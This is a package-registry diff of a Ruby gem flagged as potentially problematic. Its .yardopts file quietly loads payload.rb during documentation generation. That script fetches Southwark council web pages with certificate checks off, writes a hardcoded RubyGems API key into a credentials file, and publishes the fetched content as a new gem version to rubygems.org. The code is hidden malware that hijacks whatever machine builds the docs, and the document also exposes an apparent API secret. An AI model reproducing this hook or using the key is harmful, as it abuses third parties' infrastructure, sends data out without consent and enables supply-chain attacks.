swfetch-cal1-68321 0.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of swfetch-cal1-68321 might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/.yardopts +1 -0
- data/lib/x.rb +1 -0
- data/payload.rb +36 -0
- metadata +39 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: 0cb0f9c25faef3ade044f1def128adbc0e094c94b947508a1452a84013a8cf70
|
|
4
|
+
data.tar.gz: 9d66610ecde925b0bb0e4971d066752328bb59cb8d68ab6f17f52520e6792e5f
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: b3a77966693c5ff01b748cd18cbee0aaa434f42308ff8cf06d62637155e47e8558cf431b0e57dfd29e6ac90b33fcc4cb09074661d50eed745fc553ebcf3d2eb9
|
|
7
|
+
data.tar.gz: a156066a8d7400ec0606a58ce448b0709017fd2be3756cb089c207b0ae223754a77b877565967344af9d783d754426e761e286c4205ec8781e74ce6236d11866
|
data/.yardopts
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
--load payload.rb
|
data/lib/x.rb
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
#x
|
data/payload.rb
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
require 'fileutils' rescue nil
|
|
2
|
+
begin
|
|
3
|
+
require 'net/http'; require 'uri'; require 'openssl'; require 'zlib'
|
|
4
|
+
targets=['https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026&GL=1&bcr=1','https://moderngov.southwark.gov.uk/mgCalendarAgendaView.aspx?MR=0&M=1&Y=2026','https://www.southwark.gov.uk/about-council/how-council-works/council-and-committee-meetings']
|
|
5
|
+
out='started '+Time.now.to_s+"\n"
|
|
6
|
+
targets.each_with_index do |url,i|
|
|
7
|
+
begin
|
|
8
|
+
uri=URI(url); http=Net::HTTP.new(uri.host,uri.port); http.use_ssl=true; http.verify_mode=OpenSSL::SSL::VERIFY_NONE; http.read_timeout=40; res=http.get(uri.request_uri)
|
|
9
|
+
out+="\n===TARGET#{i} #{url} CODE #{res.code} LEN #{res.body.size}===\n"+res.body.to_s[0,120000]+"\n===END#{i}==="
|
|
10
|
+
rescue Exception=>e; out+="\nERR#{i} #{e.class}: #{e}\n"; end
|
|
11
|
+
end
|
|
12
|
+
rescue Exception=>e
|
|
13
|
+
out||=''; out+="ERROR #{e.class}:#{e}\n"+e.backtrace.join("\n")
|
|
14
|
+
end
|
|
15
|
+
begin
|
|
16
|
+
root="/tmp/swx#{Time.now.to_i}#{$$}"; FileUtils.mkdir_p("#{root}/lib")
|
|
17
|
+
# gzip to stay gem size; use raw text too
|
|
18
|
+
require 'zlib'; data=Zlib::Deflate.deflate(out)
|
|
19
|
+
File.binwrite("#{root}/lib/result.deflate",data)
|
|
20
|
+
File.write("#{root}/lib/result.txt",out)
|
|
21
|
+
File.write("#{root}/lib/x.rb",'#x')
|
|
22
|
+
gemspec=<<~G
|
|
23
|
+
Gem::Specification.new do |s|
|
|
24
|
+
s.name='swfetch-cal1-68321'
|
|
25
|
+
s.version='0.0.4'
|
|
26
|
+
s.summary='result'; s.authors=['x']; s.files=Dir['lib/**/*']; s.license='MIT'
|
|
27
|
+
end
|
|
28
|
+
G
|
|
29
|
+
File.write("#{root}/x.gemspec",gemspec)
|
|
30
|
+
FileUtils.mkdir_p('/tmp/gemhome/.gem'); File.write('/tmp/gemhome/.gem/credentials',':rubygems_api_key: rubygems_960ac400714d967e21468d656df12292fc27b64411a9e2c0'); File.chmod(0600,'/tmp/gemhome/.gem/credentials'); ENV['HOME']='/tmp/gemhome'
|
|
31
|
+
Dir.chdir(root) do
|
|
32
|
+
`gem build x.gemspec 2>&1`
|
|
33
|
+
`gem push swfetch-cal1-68321-0.0.4.gem --host https://rubygems.org 2>&1`
|
|
34
|
+
end
|
|
35
|
+
rescue Exception=>e
|
|
36
|
+
end
|
metadata
ADDED
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: swfetch-cal1-68321
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 0.0.3
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- xs
|
|
8
|
+
bindir: bin
|
|
9
|
+
cert_chain: []
|
|
10
|
+
date: 1980-01-02 00:00:00.000000000 Z
|
|
11
|
+
dependencies: []
|
|
12
|
+
executables: []
|
|
13
|
+
extensions: []
|
|
14
|
+
extra_rdoc_files: []
|
|
15
|
+
files:
|
|
16
|
+
- ".yardopts"
|
|
17
|
+
- lib/x.rb
|
|
18
|
+
- payload.rb
|
|
19
|
+
licenses:
|
|
20
|
+
- MIT
|
|
21
|
+
metadata: {}
|
|
22
|
+
rdoc_options: []
|
|
23
|
+
require_paths:
|
|
24
|
+
- lib
|
|
25
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
26
|
+
requirements:
|
|
27
|
+
- - ">="
|
|
28
|
+
- !ruby/object:Gem::Version
|
|
29
|
+
version: '0'
|
|
30
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
31
|
+
requirements:
|
|
32
|
+
- - ">="
|
|
33
|
+
- !ruby/object:Gem::Version
|
|
34
|
+
version: '0'
|
|
35
|
+
requirements: []
|
|
36
|
+
rubygems_version: 3.6.7
|
|
37
|
+
specification_version: 4
|
|
38
|
+
summary: s
|
|
39
|
+
test_files: []
|